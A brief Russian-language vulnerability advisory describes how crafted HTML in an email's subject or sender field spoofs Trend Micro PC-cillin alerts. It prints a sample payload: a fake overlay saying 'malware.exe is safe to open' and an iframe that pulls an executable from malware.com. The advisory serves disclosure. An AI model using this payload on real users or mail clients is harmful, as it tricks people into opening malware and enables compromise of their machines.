Подмена сообщения в Trend Micro PC-cillin Internet Security

Описание: Уязвимость обнаружена в Trend Micro PC-cillin Internet Security. Удаленный пользователь может послать e-mail, чтобы подменить сообщения от приложения и потенциально выполнить произвольный код.

Удаленный пользователь может послать специально сформированное HMTL в полях subject или sender, чтобы отобразить сообщение, которое будет выглядеть как правильное сообщение, сгенерированное приложением. Пример:

 style="position:absolute;top:25;left:10;height:300pt;width:300pt;
z-index:+100;font-family:Verdana;font-weight: bold;font-size: 
12pt;font-color:green">Trend Micro Internet Security confirms 
this file <br>malware.exe is safe to open. Proceed.</div><iframe 
src="http://www.malware.com/malware.exe">

Пример/Эксплоит: http://www.malware.com/micronot.png

URL производителя:http://www.trendmicro.com/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.